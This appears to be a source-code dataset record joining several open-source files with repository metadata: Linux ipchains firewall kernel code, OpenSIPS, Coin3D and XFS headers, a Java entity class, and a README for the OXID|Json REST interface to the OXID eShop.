memcpy(&fwkern->ipfw,&fwuser->ipfw,sizeof(struct ip_fw)); if (!find_special(fwuser->label, &fwkern->simplebranch)) { fwkern->branch = find_label(fwuser->label); if (!fwkern->branch) { duprintf("convert_ipfw: chain doesn't exist `%s'.\n", fwuser->label); kfree(fwkern); *errno = ENOENT; return NULL; } else if (fwkern->branch == IP_FW_INPUT_CHAIN || fwkern->branch == IP_FW_FORWARD_CHAIN || fwkern->branch == IP_FW_OUTPUT_CHAIN) { duprintf("convert_ipfw: Can't branch to builtin chain `%s'.\n", fwuser->label); kfree(fwkern); *errno = ENOENT; return NULL; } } else fwkern->branch = NULL; memset(fwkern->counters, 0, sizeof(struct ip_counters)*NUM_SLOTS); /* Handle empty vianame by making it a wildcard */ if ((fwkern->ipfw.fw_vianame)[0] == '\0') fwkern->ipfw.fw_flg |= IP_FW_F_WILDIF; fwkern->next = NULL; return fwkern; } int ip_fw_ctl(int cmd, void *m, int len) { int ret; struct ip_chain *chain; unsigned long flags; FWC_WRITE_LOCK_IRQ(&ip_fw_lock, flags); switch (cmd) { case IP_FW_FLUSH: if (len != sizeof(ip_chainlabel) || !check_label(m)) ret = EINVAL; else if ((chain = find_label(m)) == NULL) ret = ENOENT; else ret = clear_fw_chain(chain); break; case IP_FW_ZERO: if (len != sizeof(ip_chainlabel) || !check_label(m)) ret = EINVAL; else if ((chain = find_label(m)) == NULL) ret = ENOENT; else ret = zero_fw_chain(chain); break; case IP_FW_CHECK: { struct ip_fwtest *new = m; struct iphdr *ip; /* Don't need write lock. */ FWC_WRITE_UNLOCK_IRQ(&ip_fw_lock, flags); if (len != sizeof(struct ip_fwtest) || !check_label(m)) return EINVAL; /* Need readlock to do find_label */ FWC_READ_LOCK(&ip_fw_lock); if ((chain = find_label(new->fwt_label)) == NULL) ret = ENOENT; else { struct sk_buff *tmp_skb; int hdrlen; hdrlen = sizeof(struct ip_fwpkt) - sizeof(struct in_addr) - IFNAMSIZ; ip = &(new->fwt_packet.fwp_iph); /* Fix this one up by hand, who knows how many * tools will break if we start to barf on this. */ if (ntohs(ip->tot_len) > hdrlen) ip->tot_len = htons(hdrlen); if (ip->ihl != sizeof(struct iphdr) / sizeof(u32)) { duprintf("ip_fw_ctl: ip->ihl=%d, want %d\n", ip->ihl, sizeof(struct iphdr) / sizeof(u32)); ret = EINVAL; } else if ((tmp_skb = alloc_skb(hdrlen, GFP_ATOMIC)) == NULL) { duprintf("ip_fw_ctl: tmp_skb alloc failure\n"); ret = EFAULT; } else { skb_reserve(tmp_skb, hdrlen); skb_push(tmp_skb, hdrlen); memcpy(tmp_skb->data, ip, hdrlen); tmp_skb->nh.raw = (unsigned char *) tmp_skb->data; ret = ip_fw_check(new->fwt_packet.fwp_vianame, NULL, chain, &tmp_skb, SLOT_NUMBER(), 1); kfree_skb(tmp_skb); switch (ret) { case FW_ACCEPT: ret = 0; break; case FW_REDIRECT: ret = ECONNABORTED; break; case FW_MASQUERADE: ret = ECONNRESET; break; case FW_REJECT: ret = ECONNREFUSED; break; /* Hack to help diag; these only get returned when testing. */ case FW_SKIP+1: ret = ELOOP; break; case FW_SKIP: ret = ENFILE; break; default: /* FW_BLOCK */ ret = ETIMEDOUT; break; } } } FWC_READ_UNLOCK(&ip_fw_lock); return ret; } case IP_FW_MASQ_TIMEOUTS: { ret = ip_fw_masq_timeouts(m, len); } break; case IP_FW_REPLACE: { struct ip_fwkernel *ip_fwkern; struct ip_fwnew *new = m; if (len != sizeof(struct ip_fwnew) || !check_label(new->fwn_label)) ret = EINVAL; else if ((chain = find_label(new->fwn_label)) == NULL) ret = ENOENT; else if ((ip_fwkern = convert_ipfw(&new->fwn_rule, &ret)) != NULL) ret = replace_in_chain(chain, ip_fwkern, new->fwn_rulenum); } break; case IP_FW_APPEND: { struct ip_fwchange *new = m; struct ip_fwkernel *ip_fwkern; if (len != sizeof(struct ip_fwchange) || !check_label(new->fwc_label)) ret = EINVAL; else if ((chain = find_label(new->fwc_label)) == NULL) ret = ENOENT; else if ((ip_fwkern = convert_ipfw(&new->fwc_rule, &ret)) != NULL) ret = append_to_chain(chain, ip_fwkern); } break; case IP_FW_INSERT: { struct ip_fwkernel *ip_fwkern; struct ip_fwnew *new = m; if (len != sizeof(struct ip_fwnew) || !check_label(new->fwn_label)) ret = EINVAL; else if ((chain = find_label(new->fwn_label)) == NULL) ret = ENOENT; else if ((ip_fwkern = convert_ipfw(&new->fwn_rule, &ret)) != NULL) ret = insert_in_chain(chain, ip_fwkern, new->fwn_rulenum); } break; case IP_FW_DELETE: { struct ip_fwchange *new = m; struct ip_fwkernel *ip_fwkern; if (len != sizeof(struct ip_fwchange) || !check_label(new->fwc_label)) ret = EINVAL; else if ((chain = find_label(new->fwc_label)) == NULL) ret = ENOENT; else if ((ip_fwkern = convert_ipfw(&new->fwc_rule, &ret)) != NULL) { ret = del_rule_from_chain(chain, ip_fwkern); kfree(ip_fwkern); } } break; case IP_FW_DELETE_NUM: { struct ip_fwdelnum *new = m; if (len != sizeof(struct ip_fwdelnum) || !check_label(new->fwd_label)) ret = EINVAL; else if ((chain = find_label(new->fwd_label)) == NULL) ret = ENOENT; else ret = del_num_from_chain(chain, new->fwd_rulenum); } break; case IP_FW_CREATECHAIN: { if (len != sizeof(ip_chainlabel)) { duprintf("create_chain: bad size %i\n", len); ret = EINVAL; } else ret = create_chain(m); } break; case IP_FW_DELETECHAIN: { if (len != sizeof(ip_chainlabel)) { duprintf("delete_chain: bad size %i\n", len); ret = EINVAL; } else ret = del_chain(m); } break; case IP_FW_POLICY: { struct ip_fwpolicy *new = m; if (len != sizeof(struct ip_fwpolicy) || !check_label(new->fwp_label)) ret = EINVAL; else if ((chain = find_label(new->fwp_label)) == NULL) ret = ENOENT; else if (chain != IP_FW_INPUT_CHAIN && chain != IP_FW_FORWARD_CHAIN && chain != IP_FW_OUTPUT_CHAIN) { duprintf("change_policy: can't change policy on user" " defined chain.\n"); ret = EINVAL; } else { int pol = FW_SKIP; find_special(new->fwp_policy, &pol); switch(pol) { case FW_MASQUERADE: if (chain != IP_FW_FORWARD_CHAIN) { ret = EINVAL; break; } /* Fall thru... */ case FW_BLOCK: case FW_ACCEPT: case FW_REJECT: ret = change_policy(chain, pol); break; default: duprintf("change_policy: bad policy `%s'\n", new->fwp_policy); ret = EINVAL; } } break; } default: duprintf("ip_fw_ctl: unknown request %d\n",cmd); ret = ENOPROTOOPT; } FWC_WRITE_UNLOCK_IRQ(&ip_fw_lock, flags); return ret; } /* Returns bytes used - doesn't NUL terminate */ static int dump_rule(char *buffer, const char *chainlabel, const struct ip_fwkernel *rule) { int len; unsigned int i; __u64 packets = 0, bytes = 0; FWC_HAVE_LOCK(fwc_wlocks); for (i = 0; i < NUM_SLOTS; i++) { packets += rule->counters[i].pcnt; bytes += rule->counters[i].bcnt; } len=sprintf(buffer, "%9s " /* Chain name */ "%08X/%08X->%08X/%08X " /* Source & Destination IPs */ "%.16s " /* Interface */ "%X %X " /* fw_flg and fw_invflg fields */ "%u " /* Protocol */ "%-9u %-9u %-9u %-9u " /* Packet & byte counters */ "%u-%u %u-%u " /* Source & Dest port ranges */ "A%02X X%02X " /* TOS and and xor masks */ "%08X " /* Redirection port */ "%u " /* fw_mark field */ "%u " /* output size */ "%9s\n", /* Target */ chainlabel, ntohl(rule->ipfw.fw_src.s_addr), ntohl(rule->ipfw.fw_smsk.s_addr), ntohl(rule->ipfw.fw_dst.s_addr), ntohl(rule->ipfw.fw_dmsk.s_addr), (rule->ipfw.fw_vianame)[0] ? rule->ipfw.fw_vianame : "-", rule->ipfw.fw_flg, rule->ipfw.fw_invflg, rule->ipfw.fw_proto, (__u32)(packets >> 32), (__u32)packets, (__u32)(bytes >> 32), (__u32)bytes, rule->ipfw.fw_spts[0], rule->ipfw.fw_spts[1], rule->ipfw.fw_dpts[0], rule->ipfw.fw_dpts[1], rule->ipfw.fw_tosand, rule->ipfw.fw_tosxor, rule->ipfw.fw_redirpt, rule->ipfw.fw_mark, rule->ipfw.fw_outputsize, branchname(rule->branch,rule->simplebranch)); duprintf("dump_rule: %i bytes done.\n", len); return len; } /* File offset is actually in records, not bytes. */ static int ip_chain_procinfo(char *buffer, char **start, off_t offset, int length) { struct ip_chain *i; struct ip_fwkernel *j = ip_fw_chains->chain; unsigned long flags; int len = 0; int last_len = 0; off_t upto = 0; duprintf("Offset starts at %lu\n", offset); duprintf("ip_fw_chains is 0x%0lX\n", (unsigned long int)ip_fw_chains); /* Need a write lock to lock out ``readers'' which update counters. */ FWC_WRITE_LOCK_IRQ(&ip_fw_lock, flags); for (i = ip_fw_chains; i; i = i->next) { for (j = i->chain; j; j = j->next) { if (upto == offset) break; duprintf("Skipping rule in chain `%s'\n", i->label); upto++; } if (upto == offset) break; } /* Don't init j first time, or once i = NULL */ for (; i; (void)((i = i->next) && (j = i->chain))) { duprintf("Dumping chain `%s'\n", i->label); for (; j; j = j->next, upto++, last_len = len) { len += dump_rule(buffer+len, i->label, j); if (len > length) { duprintf("Dumped to %i (past %i). " "Moving back to %i.\n", len, length, last_len); len = last_len; goto outside; } } } outside: FWC_WRITE_UNLOCK_IRQ(&ip_fw_lock, flags); buffer[len] = '\0'; duprintf("ip_chain_procinfo: Length = %i (of %i). Offset = %li.\n", len, length, upto); /* `start' hack - see fs/proc/generic.c line ~165 */ *start=(char *)((unsigned int)upto-offset); return len; } static int ip_chain_name_procinfo(char *buffer, char **start, off_t offset, int length) { struct ip_chain *i; int len = 0,last_len = 0; off_t pos = 0,begin = 0; unsigned long flags; /* Need a write lock to lock out ``readers'' which update counters. */ FWC_WRITE_LOCK_IRQ(&ip_fw_lock, flags); for (i = ip_fw_chains; i; i = i->next) { unsigned int j; __u32 packetsHi = 0, packetsLo = 0, bytesHi = 0, bytesLo = 0; for (j = 0; j < NUM_SLOTS; j++) { packetsLo += i->reent[j].counters.pcnt & 0xFFFFFFFF; packetsHi += ((i->reent[j].counters.pcnt >> 32) & 0xFFFFFFFF); bytesLo += i->reent[j].counters.bcnt & 0xFFFFFFFF; bytesHi += ((i->reent[j].counters.bcnt >> 32) & 0xFFFFFFFF); } /* print the label and the policy */ len+=sprintf(buffer+len,"%s %s %i %u %u %u %u\n", i->label,branchname(NULL, i->policy),i->refcount, packetsHi, packetsLo, bytesHi, bytesLo); pos=begin+len; if(pos<offset) { len=0; begin=pos; } else if(pos>offset+length) { len = last_len; break; } last_len = len; } FWC_WRITE_UNLOCK_IRQ(&ip_fw_lock, flags); *start = buffer+(offset-begin); len-=(offset-begin); if(len>length) len=length; return len; } /* * Interface to the generic firewall chains. */ int ipfw_input_check(struct firewall_ops *this, int pf, struct net_device *dev, void *arg, struct sk_buff **pskb) { return ip_fw_check(dev->name, arg, IP_FW_INPUT_CHAIN, pskb, SLOT_NUMBER(), 0); } int ipfw_output_check(struct firewall_ops *this, int pf, struct net_device *dev, void *arg, struct sk_buff **pskb) { /* Locally generated bogus packets by root. <SIGH>. */ if ((*pskb)->len < sizeof(struct iphdr) || (*pskb)->nh.iph->ihl * 4 < sizeof(struct iphdr)) return FW_ACCEPT; return ip_fw_check(dev->name, arg, IP_FW_OUTPUT_CHAIN, pskb, SLOT_NUMBER(), 0); } int ipfw_forward_check(struct firewall_ops *this, int pf, struct net_device *dev, void *arg, struct sk_buff **pskb) { return ip_fw_check(dev->name, arg, IP_FW_FORWARD_CHAIN, pskb, SLOT_NUMBER(), 0); } struct firewall_ops ipfw_ops = { .fw_forward = ipfw_forward_check, .fw_input = ipfw_input_check, .fw_output = ipfw_output_check, }; int ipfw_init_or_cleanup(int init) { struct proc_dir_entry *proc; int ret = 0; unsigned long flags; if (!init) goto cleanup; #ifdef DEBUG_IP_FIREWALL_LOCKING fwc_wlocks = fwc_rlocks = 0; #endif #if defined(CONFIG_NETLINK_DEV) || defined(CONFIG_NETLINK_DEV_MODULE) ipfwsk = netlink_kernel_create(NETLINK_FIREWALL, NULL); if (ipfwsk == NULL) goto cleanup_nothing; #endif ret = register_firewall(PF_INET, &ipfw_ops); if (ret < 0) goto cleanup_netlink; proc = proc_net_create(IP_FW_PROC_CHAINS, S_IFREG | S_IRUSR | S_IWUSR, ip_chain_procinfo); if (proc) proc->owner = THIS_MODULE; proc = proc_net_create(IP_FW_PROC_CHAIN_NAMES, S_IFREG | S_IRUSR | S_IWUSR, ip_chain_name_procinfo); if (proc) proc->owner = THIS_MODULE; IP_FW_INPUT_CHAIN = ip_init_chain(IP_FW_LABEL_INPUT, 1, FW_ACCEPT); IP_FW_FORWARD_CHAIN = ip_init_chain(IP_FW_LABEL_FORWARD, 1, FW_ACCEPT); IP_FW_OUTPUT_CHAIN = ip_init_chain(IP_FW_LABEL_OUTPUT, 1, FW_ACCEPT); return ret; cleanup: unregister_firewall(PF_INET, &ipfw_ops); FWC_WRITE_LOCK_IRQ(&ip_fw_lock, flags); while (ip_fw_chains) { struct ip_chain *next = ip_fw_chains->next; clear_fw_chain(ip_fw_chains); kfree(ip_fw_chains); ip_fw_chains = next; } FWC_WRITE_UNLOCK_IRQ(&ip_fw_lock, flags); proc_net_remove(IP_FW_PROC_CHAINS); proc_net_remove(IP_FW_PROC_CHAIN_NAMES); cleanup_netlink: #if defined(CONFIG_NETLINK_DEV) || defined(CONFIG_NETLINK_DEV_MODULE) sock_release(ipfwsk->sk_socket); cleanup_nothing: #endif return ret; }
sarnobat/knoppix
net/ipv4/netfilter/ipchains_core.c
C
gpl-2.0
52,346
/* * presence module - presence server implementation * * Copyright (C) 2006 Voice Sistem S.R.L. * * This file is part of opensips, a free SIP server. * * opensips is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version * * opensips is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * History: * -------- * 2006-08-15 initial version (Anca Vamanu) */ #ifndef UTILS_FUNC_H #define UTILS_FUNC_H #include <stdio.h> #include <stdlib.h> #include <string.h> #include "../../mem/mem.h" #include "../../dprint.h" #include "../../str.h" #include "../../parser/msg_parser.h" #define LCONTACT_BUF_SIZE 1024 #define BAD_EVENT_CODE 489 static inline int uandd_to_uri(str user, str domain, str *out) { int size; if(out==0) return -1; size = user.len + domain.len+7; out->s = (char*)pkg_malloc(size); if(out->s == NULL) { LM_ERR("no more memory\n"); return -1; } strcpy(out->s,"sip:"); out->len = 4; if( user.len != 0) { memcpy(out->s+out->len, user.s, user.len); out->len += user.len; out->s[out->len++] = '@'; } memcpy(out->s + out->len, domain.s, domain.len); out->len += domain.len; out->s[out->len] = '\0'; return 0; } /* Build an contact URI but without the "transport" param - this is to be * added when a send is done, depending on the used interface. */ static inline int get_local_contact(struct socket_info *sock, str* contact) { static char buf[LCONTACT_BUF_SIZE]; contact->s = buf; contact->len= 0; memset(buf, 0, LCONTACT_BUF_SIZE); /* write "sip:ip" */ memcpy(contact->s+contact->len, "sip:", 4); contact->len+= 4; /* if advertised address is set for this interface, use this one */ if (sock->adv_name_str.s) { memcpy(contact->s+contact->len, sock->adv_name_str.s, sock->adv_name_str.len); contact->len += sock->adv_name_str.len; } else { memcpy(contact->s+contact->len, sock->address_str.s, sock->address_str.len); contact->len += sock->address_str.len; } if(contact->len> LCONTACT_BUF_SIZE - 21) { LM_ERR("buffer overflow\n"); return -1; } /* write ":port" if port defined */ if (sock->adv_name_str.s) { if(sock->adv_port_str.s) { *(contact->s+(contact->len++)) = ':'; memcpy(contact->s+contact->len, sock->adv_port_str.s, sock->adv_port_str.len); contact->len += sock->adv_port_str.len; } } else if (sock->port_no_str.len) { *(contact->s+(contact->len++)) = ':'; memcpy(contact->s+contact->len, sock->port_no_str.s, sock->port_no_str.len); contact->len += sock->port_no_str.len; } return 0; } int a_to_i (char *s,int len); void to64frombits(unsigned char *out, const unsigned char *in, int inlen); int send_error_reply(struct sip_msg* msg, int reply_code, str reply_str); #endif
chiforbogdan/opensips
modules/presence/utils_func.h
C
gpl-2.0
3,279
package net.ifie.app.bean; /** * 实体类 * @author liux (http://my.oschina.net/liux) * @version 1.0 * @created 2012-3-21 */ public abstract class Entity extends Base { private static final long serialVersionUID = 1L; protected String id; public String getId() { return id; } protected String cacheKey; public String getCacheKey() { return cacheKey; } public void setCacheKey(String cacheKey) { this.cacheKey = cacheKey; } }
sunzhyng/ifie
src/net/ifie/app/bean/Entity.java
Java
gpl-2.0
452
/**************************************************************************\ * * This file is part of the Coin 3D visualization library. * Copyright (C) 1998-2008 by Kongsberg SIM. All rights reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * ("GPL") version 2 as published by the Free Software Foundation. * See the file LICENSE.GPL at the root directory of this source * distribution for additional information about the GNU GPL. * * For using Coin with software that can not be combined with the GNU * GPL, and for taking advantage of the additional benefits of our * support services, please contact Kongsberg SIM about acquiring * a Coin Professional Edition License. * * See http://www.coin3d.org/ for more information. * * Kongsberg SIM, Postboks 1283, Pirsenteret, 7462 Trondheim, NORWAY. * http://www.sim.no/ sales@sim.no coin-support@coin3d.org * \**************************************************************************/ #ifndef COIN_SOVRMLLOD_H #define COIN_SOVRMLLOD_H #include <Inventor/nodes/SoSubNode.h> #include <Inventor/nodes/SoGroup.h> #include <Inventor/fields/SoMFFloat.h> #include <Inventor/fields/SoSFVec3f.h> #include <Inventor/fields/SoMFNode.h> class SoVRMLLODP; class COIN_DLL_API SoVRMLLOD : public SoGroup { typedef SoGroup inherited; SO_NODE_HEADER(SoVRMLLOD); public: static void initClass(void); SoVRMLLOD(void); SoVRMLLOD(int levels); SoMFFloat range; SoSFVec3f center; SoMFNode level; virtual SbBool affectsState(void) const; void addLevel(SoNode * level); void insertLevel(SoNode * level, int idx); SoNode * getLevel(int idx) const; int findLevel(const SoNode * level) const; int getNumLevels(void) const; void removeLevel(int idx); void removeLevel(SoNode * level); void removeAllLevels(void); void replaceLevel(int idx, SoNode * level); void replaceLevel(SoNode * old, SoNode * level); virtual void doAction(SoAction * action); virtual void callback(SoCallbackAction * action); virtual void GLRender(SoGLRenderAction * action); virtual void rayPick(SoRayPickAction * action); virtual void getBoundingBox(SoGetBoundingBoxAction * action); virtual void search(SoSearchAction * action); virtual void write(SoWriteAction * action); virtual void getPrimitiveCount(SoGetPrimitiveCountAction * action); virtual void audioRender(SoAudioRenderAction * action); virtual void GLRenderBelowPath(SoGLRenderAction * action); virtual void GLRenderInPath(SoGLRenderAction * action); virtual void GLRenderOffPath(SoGLRenderAction * action); void addChild(SoNode * child); void insertChild(SoNode * child, int idx); SoNode * getChild(int idx) const; int findChild(const SoNode * child) const; int getNumChildren(void) const; void removeChild(int idx); void removeChild(SoNode * child); void removeAllChildren(void); void replaceChild(int idx, SoNode * child); void replaceChild(SoNode * old, SoNode * child); virtual SoChildList * getChildren(void) const; protected: virtual ~SoVRMLLOD(); virtual void notify(SoNotList * list); virtual SbBool readInstance(SoInput * in, unsigned short flags); virtual void copyContents(const SoFieldContainer * from, SbBool copyConn); virtual int whichToTraverse(SoAction * action); private: void commonConstructor(void); SoVRMLLODP * pimpl; friend class SoVRMLLODP; }; // class SoVRMLLOD #endif // ! COIN_SOVRMLLOD_H
erik132/MolekelCUDA
deps/include/Inventor/VRMLnodes/SoVRMLLOD.h
C
gpl-2.0
3,515
/* * Copyright (c) 2000-2003 Silicon Graphics, Inc. All Rights Reserved. * * This program is free software; you can redistribute it and/or modify it * under the terms of version 2 of the GNU General Public License as * published by the Free Software Foundation. * * This program is distributed in the hope that it would be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * * Further, this software is distributed without any warranty that it is * free of the rightful claim of any third person regarding infringement * or the like. Any license provided herein, whether implied or * otherwise, applies only to this software file. Patent licenses, if * any, provided herein do not apply to combinations of this program with * other software, or any other product whatsoever. * * You should have received a copy of the GNU General Public License along * with this program; if not, write the Free Software Foundation, Inc., 59 * Temple Place - Suite 330, Boston MA 02111-1307, USA. * * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy, * Mountain View, CA 94043, or: * * http://www.sgi.com * * For further information regarding this notice, see: * * http://oss.sgi.com/projects/GenInfo/SGIGPLNoticeExplan/ */ #ifndef __XFS_SUPPORT_MRLOCK_H__ #define __XFS_SUPPORT_MRLOCK_H__ #include <linux/version.h> #include <linux/time.h> #include <linux/wait.h> #include <asm/atomic.h> #include <asm/semaphore.h> /* * Implement mrlocks on Linux that work for XFS. * * These are sleep locks and not spinlocks. If one wants read/write spinlocks, * use read_lock, write_lock, ... see spinlock.h. */ typedef struct mrlock_s { int mr_count; unsigned short mr_reads_waiting; unsigned short mr_writes_waiting; wait_queue_head_t mr_readerq; wait_queue_head_t mr_writerq; spinlock_t mr_lock; } mrlock_t; #define MR_ACCESS 1 #define MR_UPDATE 2 #define MRLOCK_BARRIER 0x1 #define MRLOCK_ALLOW_EQUAL_PRI 0x8 /* * mraccessf/mrupdatef take flags to be passed in while sleeping; * only PLTWAIT is currently supported. */ extern void mraccessf(mrlock_t *, int); extern void mrupdatef(mrlock_t *, int); extern void mrlock(mrlock_t *, int, int); extern void mrunlock(mrlock_t *); extern void mraccunlock(mrlock_t *); extern int mrtryupdate(mrlock_t *); extern int mrtryaccess(mrlock_t *); extern int mrtrypromote(mrlock_t *); extern void mrdemote(mrlock_t *); extern int ismrlocked(mrlock_t *, int); extern void mrlock_init(mrlock_t *, int type, char *name, long sequence); extern void mrfree(mrlock_t *); #define mrinit(mrp, name) mrlock_init(mrp, MRLOCK_BARRIER, name, -1) #define mraccess(mrp) mraccessf(mrp, 0) /* grab for READ/ACCESS */ #define mrupdate(mrp) mrupdatef(mrp, 0) /* grab for WRITE/UPDATE */ #define mrislocked_access(mrp) ((mrp)->mr_count > 0) #define mrislocked_update(mrp) ((mrp)->mr_count < 0) #endif /* __XFS_SUPPORT_MRLOCK_H__ */
nslu2/linux-2.4.x
fs/xfs/support/mrlock.h
C
gpl-2.0
3,020
# OXID|Json # ## OXID REST API for OXID 6 Update 11/18: https://docs.oxid-projects.com/oxid-rest-api/ --- ## What is it? ## OXID|Json is a REST / JSON CRUD (Create, Read, Update, Delete) interface for the [OXID eShop](http://www.oxid-esales.com) that comes with a fancy [AngularJS](http://angularjs.org) frontend for playing around with the JSON data. It uses the [Tonic PHP framework](http://www.peej.co.uk/tonic/). You can find a demo [here](http://module2.shoptimax.de/oxjson/app/). Login with username "mrjson", password "oxid". ## Installation ## PHP >= 5.3 required. You need an installed OXID eShop and an admin account (or a user assigned to a special group) for login. The OXID module also creates two new user groups "OXJSON Full" and "OXJSON Read-only", so you can assign users to these groups which then can use the REST interface with full (CRUD with POST, PUT, DELETE) access or read-only access (only GET allowed). Copy "app/", "modules/", "oxrest/" and the other files to your shop root directory. Activate the module in the shop backend. The module only adds two new groups to the oxgroups table ("oxjsonro" and "oxjsonfull"). Assign shop users to the new groups as required so they can login via the interface. [Get Composer](http://getcomposer.org/), copy composer.phar to your shop directory. In the root directory of the shop, execute `INSTALL-TONIC.sh` after changing the php executable path in it, or run Composer install / update yourself. This will execute composer.phar with it's configuration file composer.json. If you already have your own composer.json, just add the requirement ``` "peej/tonic": "dev-master" ``` to it. Composer will then create a "vendor" subdirectory, where it downloads and installs the TONIC REST framework. The autoloader created in that vendor directory will then be used by the "/oxrest/oxrest.php" file. In your OXID shop's main ".htaccess" file, add this: If you use CGI-PHP, allow auth header forwarding: ``` RewriteCond %{HTTP:Authorization} ^(.*) RewriteRule ^(.*) - [E=HTTP_AUTHORIZATION:%1] ``` Add the rewrite rule for the JSON interface: ``` RewriteCond %{REQUEST_URI} .*oxrest.* RewriteCond %{REQUEST_URI} !oxrest\.php$ RewriteCond %{REQUEST_FILENAME} !-f RewriteRule .* oxrest/oxrest.php [L,QSA] ``` just after the line ``` RewriteRule oxseo\.php$ oxseo.php?mod_rewrite_module_is=on [L] ``` So that the complete blocks reads e.g.: ``` RewriteRule oxseo\.php$ oxseo.php?mod_rewrite_module_is=on [L] # OXID|JSON start RewriteCond %{HTTP:Authorization} ^(.*) RewriteRule ^(.*) - [E=HTTP_AUTHORIZATION:%1] RewriteCond %{REQUEST_URI} .*oxrest.* RewriteCond %{REQUEST_URI} !oxrest\.php$ RewriteCond %{REQUEST_FILENAME} !-f RewriteRule .* oxrest/oxrest.php [L,QSA] # OXID|JSON end RewriteCond %{REQUEST_URI} !(\/admin\/|\/core\/|\/application\/|\/export\/|\/modules\/|\/out\/|\/setup\/|\/tmp\/|\/views\/) ``` If you have problems accessing the "/app" directory for the AngularJS frontend, try to change the DirectoryIndex order in .htaccess to this: ``` DirectoryIndex index.html index.php ``` There is a file "htaccess_example.txt" provided for reference. ## Troubleshooting There may be problems with login and logout (or other AJAX calls used in the AngularJS app) if you are getting __PHP warnings__ since they break the HTTP headers. In __PHP 5.6.__ e.g. there may be a warning "Automatically populating $HTTP_RAW_POST_DATA is deprecated.". To prevent this from happening you can either disable warnings or you can adjust your "php.ini" file and set ``` always_populate_raw_post_data=-1 ``` See e.g. [here](https://github.com/piwik/piwik/issues/6465) for reference. ## Using the REST interface The REST interface can be reached through http://SHOP.URL/oxrest/SERVICE/WITH/PARAMETERS. Available services and parameters are explained below. ### Authorization The REST interface expects a HTTP Authorization header in the following form: > Authorization: Ox base64_encode(username:password) which means you have to concatenate username and password with ":", Base64-encode that string and prepend the string "Ox ". A simple **cURL request** could look like this: ```php $userName = "admin@myshop.de"; $passWord = "mypass"; // get oxid article list $ch = curl_init('http://www.myshop.de/oxrest/oxlist/oxarticlelist'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, array( // send custom auth header 'Authorization: Ox ' . base64_encode($userName . ":" . $passWord)) ); $result = curl_exec($ch); echo "<pre>"; print_r(json_decode($result)); echo "</pre>"; ``` For **JavaScript requests**, you can use CryptJS to encode your username/password combination like this: ```javascript var secStr = CryptoJS.enc.Utf8.parse(user.username + ":" + user.password); var base64 = CryptoJS.enc.Base64.stringify(secStr); // and use it e.g. with AngularJS post(): $http.post($rootScope.basePath + '/oxrest/action/login', jsonData, { headers : { // use custom auth header Authorization : 'Ox ' + base64 } }) ... ``` ### Available services The following URL formats are currently supported: > /list/:class > /list/:class/:page > /list/:class/:page/:pageSize > /list/:class/:page/:pageSize/:orderBy > /list/:class/:propertyName/:comparator/:propertyValue/:page > /list/:class/:propertyName/:comparator/:propertyValue/:page/:pageSize > /list/:class/:propertyName/:comparator/:propertyValue/:page/:pageSize/:orderBy for lists and > /oxobject/:class/:oxid for single objects. All these URIs are callable via GET. Important: if you use "/list/" URLs, you will get the "raw" data from the database, e.g. from the table "oxarticles". This is the fast version. If you need pre-computed OXID object data in your lists, e.g. fully loaded oxarticle object data, you can use "/oxlist/" URLs instead - this will load OXID objects and modifiy them with installed modules etc. So if you need "calculated" article prices e.g., you should use the "/oxlist/" URL mappings to retrieve data (GET), e.g. > /oxlist/:class/:page/:pageSize Keep in mind that these requests will take more time to load and you are restricted to oxlist based objects. Of course you can also use your own, custom (oxList based) classes and any database tables. :class can be any existing oxList object, e.g. oxuserlist, oxarticleslist ... :page per default, ten items are returned per request. If a list contains more than ten items, paging is supported by this parameter. Page numbering starts at 0 :propertyName, :propertyValue and :comparator To filter list queries, two comparators are currently supported: "eq" transformes to MySQL ":propertyName = ':propertyValue'" "like" transformes to MySQL ":propertyName LIKE '%:propertyValue%'" :propertyName can be any existing MySQL column for the list base object (oxarticlelist => oxarticle...) :propertyValue can be any arbitrary string ### Example service calls http://SHOP.URL/oxrest/list/oxuserlist/oxid/eq/f7f62133d58418f398aedde169cde3d4 http://SHOP.URL/oxrest/list/oxarticlelist http://SHOP.URL/oxrest/list/oxarticlelist/5 http://SHOP.URL/oxrest/list/oxarticlelist/0/15 http://SHOP.URL/oxrest/list/oxarticlelist/oxid/eq/0655a336d18e47df9565641eaa15e2ca/0 http://SHOP.URL/oxrest/list/oxarticlelist/oxartnum/like/1234 http://SHOP.URL/oxrest/list/oxuserlist/oxlname/like/King http://SHOP.URL/oxrest/list/my_own_list/oxuserid/eq/f83ccf9ef669e33b5caafa4dc1c7fd4f/0 http://SHOP.URL/oxrest/oxlist/oxarticlelist/0/15 http://SHOP.URL/oxrest/oxlist/oxarticlelist/oxtitle/like/Kite/0 http://SHOP.URL/oxrest/oxlist/oxarticlelist/oxtitle/like/Kite/0/10/oxtitle%20ASC http://SHOP.URL/oxrest/oxlist/oxpaymentlist/ http://SHOP.URL/oxrest/oxobject/oxuser/36944b76cc9604c53.04579642 http://SHOP.URL/oxrest/oxobject/oxaddress/bbfe68477db2a8e27c50683495ec4da4 http://SHOP.URL/oxrest/oxobject/oxnewssubscribed/36944b76cc9604c53.04579642 http://SHOP.URL/oxrest/oxobject/oxarticle/0584e8b766a4de2177f9ed11d1587f55 For saving lists and objects, you can use the corresponding PUT methods: > /list/:class > /oxobject/:class/:oxid and send the JSON data as content. Of course POST and DELETE methods for creating and deleting objects are also supported. Copyright Proud Sourcing GmbH 2015 / www.proudcommerce.com shoptimax GmbH / www.shoptimax.de
shoptimax/oxidjson
README.md
Markdown
gpl-2.0
8,360
